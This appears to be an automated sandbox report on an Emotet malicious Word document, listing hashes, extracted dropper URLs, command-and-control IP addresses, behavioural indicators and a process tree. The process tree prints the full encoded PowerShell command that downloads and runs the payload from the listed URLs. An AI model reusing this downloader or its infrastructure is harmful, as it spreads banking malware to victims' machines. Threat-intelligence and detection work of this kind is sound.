emotet | dbecd98d9fd1626b3aa562d063ba66033db39d1b8e846afe8634d738feeda550

Analysis

max time kernel
135s
max time network
138s
platform
windows10_x64
resource
win10
submitted
17/08/2020, 16:44

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General

Target
emotet_e1_dbecd98d9fd1626b3aa562d063ba66033db39d1b8e846afe8634d738feeda550_2020-08-17__164259._doc.doc
Size 232KB
Sample200817-9ql9pr2q76
SHA256 dbecd98d9fd1626b3aa562d063ba66033db39d1b8e846afe8634d738feeda550
MD5 d5b3696a264fe42adea6206d1ced5aa9
SHA1 97d503752dc25c693ccbc5f62cc7ff5ed9b449a9
SHA512 0ee85e77f9f9ab701ec3c68afd6898fa309492cabaf7c654c955c027296ef5874ec5b474e42486bbe309d2eb074e91cced33a9eedf454a351bdb83765a66e8c6
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://seedsagro.com/wp-content/MZ9Qd/
exe.dropper
http://aribsalin.ematj.com/up/E9Oj3tPaCk/
exe.dropper
http://dawood-elmoratel.ematj.com/wp-admin/eDORY317/
exe.dropper
http://khudothiaquacity.com/wp-admin/FLgiVM8/
exe.dropper
http://gpzjw8.net/ekjsn/AV785131/

Extracted

Family

emotet

45.173.88.33:80
209.126.6.222:8080
5.153.250.14:8080
77.90.136.129:8080
104.131.41.185:8080
190.190.148.27:8080
95.85.151.205:80
46.28.111.142:7080
91.222.77.105:80
80.249.176.206:80
83.169.21.32:7080
213.60.96.117:80
185.94.252.27:443
89.32.150.160:8080
12.162.84.2:8080
81.198.69.61:80
85.105.140.135:443
202.4.57.96:80
147.91.184.91:80
192.241.143.52:8080
178.250.54.208:8080
190.147.137.153:443
185.94.252.12:80
87.106.46.107:8080
170.81.48.2:80
172.104.169.32:8080
177.73.0.98:443
212.71.237.140:8080
177.74.228.34:80
186.32.90.103:443
187.162.248.237:80
61.92.159.208:8080
91.219.169.180:80
188.2.217.94:80
201.171.150.41:443
177.72.13.80:80
24.135.1.177:80
104.131.103.37:8080
212.93.117.170:80
186.70.127.199:8090
217.199.160.224:7080
68.183.170.114:8080
77.55.211.77:8080
204.225.249.100:7080
68.183.190.199:8080
137.74.106.111:7080
190.115.18.139:8080
73.116.193.136:80
70.32.115.157:8080
213.176.36.147:8080
209.236.123.42:8080
45.161.242.102:80
24.148.98.177:80
5.196.35.138:7080
116.125.120.88:443
190.195.129.227:8090
191.99.160.58:80
186.250.52.226:8080
111.67.12.221:8080
82.196.15.205:8080
2.47.112.152:80
51.255.165.160:8080
219.92.13.25:80
191.182.6.118:80
67.247.242.247:80
94.206.45.18:80
58.171.153.81:80
186.103.141.250:443
207.144.103.227:80
143.0.87.101:80
95.9.180.128:80
82.76.111.249:443
174.100.27.229:80
114.109.179.60:80
190.6.193.152:8080
51.159.23.217:443
45.33.77.42:8080
189.2.177.210:443
70.32.84.74:8080
190.163.31.26:80
217.13.106.14:8080
192.241.146.84:8080
72.47.248.48:7080
181.129.96.162:8080
24.135.198.218:80
178.79.163.131:8080
149.62.173.247:8080
94.176.234.118:443
50.28.51.143:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3144	3752	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3700-15-0x0000000002200000-0x000000000220C000-memory.dmp	emotet
behavioral2/memory/3700-15-0x0000000002200000-0x000000000220C000-memory.dmp	emotet
behavioral2/memory/1008-18-0x0000000002040000-0x000000000204C000-memory.dmp	emotet
behavioral2/memory/1008-18-0x0000000002040000-0x000000000204C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
7	3144	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3700	Qzso.exe
1008	mfvdsp.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\sendmail\mfvdsp.exe	Qzso.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3144	powersheLL.exe
3144	powersheLL.exe
3144	powersheLL.exe
1008	mfvdsp.exe
1008	mfvdsp.exe
1008	mfvdsp.exe
1008	mfvdsp.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3144	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
2920	WINWORD.EXE
3700	Qzso.exe
3700	Qzso.exe
1008	mfvdsp.exe
1008	mfvdsp.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3144 wrote to memory of 3700	3144	powersheLL.exe	73
PID 3144 wrote to memory of 3700	3144	powersheLL.exe	73
PID 3144 wrote to memory of 3700	3144	powersheLL.exe	73
PID 3700 wrote to memory of 1008	3700	Qzso.exe	76
PID 3700 wrote to memory of 1008	3700	Qzso.exe	76
PID 3700 wrote to memory of 1008	3700	Qzso.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_dbecd98d9fd1626b3aa562d063ba66033db39d1b8e846afe8634d738feeda550_2020-08-17__164259._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:2920

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAGMAdABiAGUAbwBtAD0AJwBQAGYAaQBkADAAYwBnACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAGAAVQBgAFIASQB0AFkAcABgAFIATwB0AE8AYABjAGAAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAQwA5AGYANABtAHcAYwAgAD0AIAAnAFEAegBzAG8AJwA7ACQAWQBjADUAZQB2AHkAMwA9ACcAUwB6AHoAdABsAG4ANgAnADsAJABTAG8AagBhADIANQBjAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAnAFwAJwArACQAQwA5AGYANABtAHcAYwArACcALgBlAHgAZQAnADsAJABSAGkAaABsAGMAZwBxAD0AJwBQAF8AYgBhADMAcwA1ACcAOwAkAFYAagBhAGsAbgBpAGQAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4ARQB0AC4AVwBFAGIAYwBsAGkAZQBOAHQAOwAkAFkAeQB5ADcANwA3AHMAPQAnAGgAdAB0AHAAOgAvAC8AcwBlAGUAZABzAGEAZwByAG8ALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBNAFoAOQBRAGQALwAqAGgAdAB0AHAAOgAvAC8AYQByAGkAYgBzAGEAbABpAG4ALgBlAG0AYQB0AGoALgBjAG8AbQAvAHUAcAAvAEUAOQBPAGoAMwB0AFAAYQBDAGsALwAqAGgAdAB0AHAAOgAvAC8AZABhAHcAbwBvAGQALQBlAGwAbQBvAHIAYQB0AGUAbAAuAGUAbQBhAHQAagAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AZQBEAE8AUgBZADMAMQA3AC8AKgBoAHQAdABwADoALwAvAGsAaAB1AGQAbwB0AGgAaQBhAHEAdQBhAGMAaQB0AHkALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAEYATABnAGkAVgBNADgALwAqAGgAdAB0AHAAOgAvAC8AZwBwAHoAagB3ADgALgBuAGUAdAAvAGUAawBqAHMAbgAvAEEAVgA3ADgANQAxADMAMQAvACcALgAiAFMAYABQAGwASQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQBjADMAcABpAG8AcQA9ACcAUQBuAG4ANwByADEAMwAnADsAZgBvAHIAZQBhAGMAaAAoACQARABvAGQAbAB3AGcAagAgAGkAbgAgACQAWQB5AHkANwA3ADcAcwApAHsAdAByAHkAewAkAFYAagBhAGsAbgBpAGQALgAiAEQAYABPAHcAbgBgAGwAYABPAEEAZABGAEkAbABFACIAKAAkAEQAbwBkAGwAdwBnAGoALAAgACQAUwBvAGoAYQAyADUAYwApADsAJABGAHgAMAAzAHIAawA5AD0AJwBRAGkAdQB3AHgAMwBoACcAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQAnACsAJwBJAHQAZQBtACcAKQAgACQAUwBvAGoAYQAyADUAYwApAC4AIgBMAGUAYABOAGcAVABIACIAIAAtAGcAZQAgADIANAA1ADAAMwApACAAewAmACgAJwBJAG4AdgBvAGsAZQAtAEkAJwArACcAdAAnACsAJwBlAG0AJwApACgAJABTAG8AagBhADIANQBjACkAOwAkAEIAcwBpAHcAcQBsAGsAPQAnAFQAegB6ADUAdQBmADcAJwA7AGIAcgBlAGEAawA7ACQATAA0AGUAdABjAGYAMwA9ACcAWgAzAGEANQA2ADUANgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABEAGEAcABpAHQAXwA0AD0AJwBSAGEAMQB2AGkAMABkACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3144
- C:\Users\Admin\AppData\Local\Temp\Qzso.exe
  "C:\Users\Admin\AppData\Local\Temp\Qzso.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3700
- - C:\Windows\SysWOW64\sendmail\mfvdsp.exe
    "C:\Windows\SysWOW64\sendmail\mfvdsp.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1008

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1008-18-0x0000000002040000-0x000000000204C000-memory.dmp

Download

memory/2920-8-0x000002000B549000-0x000002000B54E000-memory.dmp

Download

memory/2920-2-0x000002000B347000-0x000002000B34C000-memory.dmp

Download

memory/2920-7-0x000002000B549000-0x000002000B54E000-memory.dmp

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memory/2920-0-0x00007FFB51620000-0x00007FFB51CE6000-memory.dmp

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memory/2920-6-0x000002000B548000-0x000002000B549000-memory.dmp

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memory/2920-4-0x000002000909B000-0x00000200090A4000-memory.dmp

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memory/2920-5-0x000002000909B000-0x00000200090A4000-memory.dmp

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memory/2920-1-0x000002000B344000-0x000002000B347000-memory.dmp

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memory/2920-3-0x000002000B344000-0x000002000B347000-memory.dmp

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memory/3144-9-0x00007FFB49540000-0x00007FFB49F2C000-memory.dmp

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memory/3144-10-0x0000013960970000-0x0000013960971000-memory.dmp

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memory/3144-11-0x0000013960C60000-0x0000013960C61000-memory.dmp

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memory/3700-15-0x0000000002200000-0x000000000220C000-memory.dmp

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